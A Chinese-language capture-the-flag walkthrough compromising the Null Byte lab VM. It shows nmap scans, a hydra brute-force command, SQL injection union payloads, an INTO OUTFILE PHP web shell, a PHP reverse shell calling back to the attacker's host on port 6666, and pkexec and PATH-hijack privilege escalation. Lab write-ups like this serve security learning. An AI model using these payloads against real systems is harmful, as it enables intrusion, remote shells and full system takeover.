信息收集
# nmap -sn 192.168.1.0/24 -oN live.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:23 CST
Nmap scan report for 192.168.1.1
Host is up (0.00038s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.1.2
Host is up (0.00034s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.142
Host is up (0.00057s latency).
MAC Address: 00:0C:29:81:E7:1A (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00051s latency).
MAC Address: 00:50:56:E1:47:D8 (VMware)
Nmap scan report for 192.168.1.60
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.01 seconds
探测出存活主机IP地址为192.168.1.142;
# nmap -sT --min-rate 10000 -p- 192.168.1.142 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:52 CST
Nmap scan report for 192.168.1.142
Host is up (0.0019s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
777/tcp open multiling-http
54109/tcp open unknown
MAC Address: 00:0C:29:81:E7:1A (VMware)
开放的相关端口信息为80 111 777 54109端口;
# nmap -sT -sC -sV -O -p80,111,777,54109 192.168.1.142 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:54 CST
Nmap scan report for 192.168.1.142
Host is up (0.00071s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33610/udp6 status
| 100024 1 41709/tcp6 status
| 100024 1 43454/udp status
|_ 100024 1 54109/tcp status
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
| 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
| 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_ 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
54109/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:81:E7:1A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
详细信息的服务探测:80端口上市http服务,111是rpc,同时可以看到ssh不再是默认端口22 而是修改为了777端口
# nmap -sT --script=vuln -p80,111,777,54109 192.168.1.142 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:54 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.142
Host is up (0.00047s latency).
PORT STATE SERVICE
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
| http-enum:
| /phpmyadmin/: phpMyAdmin
|_ /uploads/: Potentially interesting folder
111/tcp open rpcbind
777/tcp open multiling-http
54109/tcp open unknown
MAC Address: 00:0C:29:81:E7:1A (VMware)
漏洞脚本的探测结果为:80端口上存在两个目录是比较感兴趣的,其他也没什么详细的信息;存在phpmyadmin!剩下的三个端口上没有有价值的信息!
渗透测试
还是以80端口为突破点,进行尝试:
“如果你能找到和谐的法律,你就会找到知识,找到突破点?” get不到点子去;虽然信息收集拿到了相关的两个目录,但是这里还是进行了一下必要的目录扫描:
扫面的结果和信息收集拿到的相关数据,其实是差不多的!
首先是uploads目录,是不允许看的~ 看看phpmyadmin吧:
就正常的登录页面,尝试弱口令等信息!但是无法登陆进去~
还有一个页面,这里应该就是让我们知道了phpmyadmin的版本信息!尝试利用searchsploit进行搜索相关的漏洞,也没有具体的发现;回到了首页,由于首页存在那句提示,感觉还是突破点在此~
下载下来gif,查看是否图片中存在相关的隐写:
后面又利用了图片中的相关字符,作为了密码,进行了爆破;还是没什么突破;后面查询了index页面里面的那段话,发现是古埃及的谚语:
还是没有找到突破点,利用exitinfo查看图片的元信息:
comment中这个是密码嘛?还是路径呢?
发现这是一个路径,让填写key~ 尝试随便填写,但是回显给我们invaild key;查看源码发现提示:
这个表单不是用来连接mysql的,密码也没有那么复杂~ 尝试进行爆破了:
#利用hydra进行爆破:
hydra -l "" -P /usr/share/wordlists/rockyou.txt -s 80 -f 192.168.1.142 http-post-form "/kzMb5nVYJw/index.php:username=^USER^&key=^PASS^:invalid key"
拿到key,时间稍微的有点点长:
输入key之后,发现又让输入username:
这里我发现输入什么都回显fetched data success!
url地址是有变化的,同时去看一下bp;在bp里面尝试利用:发现存在sql注入,当输入双引号的时候,出现了sql语句的报错:
seth数据库中存在两个用户!查看phpmyadmin的用户,尝试利用phpmyadmin进行getshell!但是在phpmyadmin数据库中没有什么用户的信息~ 还是回到了上面的这两个用户,尝试进行ssh的碰撞,首先是ramses这个用户的密码看起来很像是base64!
经过base64解码之后发现貌似是md5加密的字符串,在尝试进行md5!
果然是这样的,尝试ssh登录成功!
提权
发现三个用户!
没有定时任务,同时也没有sudo的权限;
suid文件,发现了pkexec,因为遇到了很多次,就连他的漏洞编号也记住了CVE-2021-4034这个漏洞能通杀很多内核版本比较就的靶机!
又尝试成功了,pkexec的这个漏洞真是屡试不爽!
总结
这里打完之后去看了一下红笔师傅的讲解,存在四种方法!其中一种方式就是我使用的sqlmap,说一下剩下的三种方法,同时也都去尝试一下!
手动利用sql注入
接上面探测username的界面,我们知道了存在sql注入;手动利用sql注入:
然后我们尝试获取列数等信息:
1. 第一种就是利用order by命令
2. 第二种是利用union select 语句
之后拿到了列数信息之后,就可以开始收集用户 数据库 数据库版本信息等等信息:
" union select user(),database(),@@version;--
之后通过table_schema来查询相关的数据库:
" union select 1,2,table_schema from information_schema.tables;--
之后便可以指定数据库名来查询里面的具体信息:
" union select 1,2,column_name from information_schema.columns where table_schema='seth' and table_name='users';--
" union select 1,2,column_name from information_schema.columns where table_schema='seth' and table_name='users';--
#之后便是查询数据信息:
" union select id,user,pass from users;--
写一句话木马
由于之前已经看到了uploads目录下面,这个目录一般都是存在上传的功能的,能上传文件到这里,权限也是比较大的,因此我们可以尝试利用select sth into outfile 语句写马到这里!
" union select "","","<?php eval($_GET['x']);?>" into outfile "/var/www/html/uploads/shell.php";--
然后利用curl正常的访问http://192.168.1.142/uploads/shell.php文件,再加上参数!
然后正常的读取我们已知的文件,比如420search.php文件!
拿到了数据库的账号和密码信息,然后登录phpmyadmin! 在数据库中又会看到了users表中的内容!
写反弹shell文件
还有一种方式就是不再写一句话了,而是直接写反弹shell!
" union select "","","<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.60/6666 0>&1'\");?>" into outfile "/var/www/html/uploads/shel1.php";--
这种方式获得的初始shell的权限会比较的低,但是我们还是可以看网站的相关源码,拿到数据库的账号和密码信息,本地再登录到数据库中,拿到user表里面的信息;初步的提升权限!
软链接提权
软链接是Linux中的一个重要命令;功能就是为某一个文件在另外一个位置简历一个不同的链接;参数-s代表当我们需要在不同的目录,用到相同的文件的时候,我们不需要在每一个需要的目录下都放置一个我们想要用的文件,我们只需要在某一个固定的目录,放上该文件,然后在其他的目录下面利用软链接(link)进行链接!
#具体的用法是 ln -s 源文件 目标文件
当我们利用ssh连接上之后,发现:
bash_history文件,进行查看:
发现执行了一个文件,同时查找suid文件的时候,也是可以看到这个文件,该文件在backup目录下面,backup本身就是我们着重看的目录!
find / -perm -u=s -type f 2>/dev/null
尝试去运行一下这个文件看看是干什么用!
好像是用来修复一些东西的~ 尝试进行运行:
发现了运行了两个命令,一个是sh 另一个是ps命令,所以我们可以尝试去利用软链接进行提权:
ln -s /bin/sh ps
export PATH=.:$PATH
./procwatch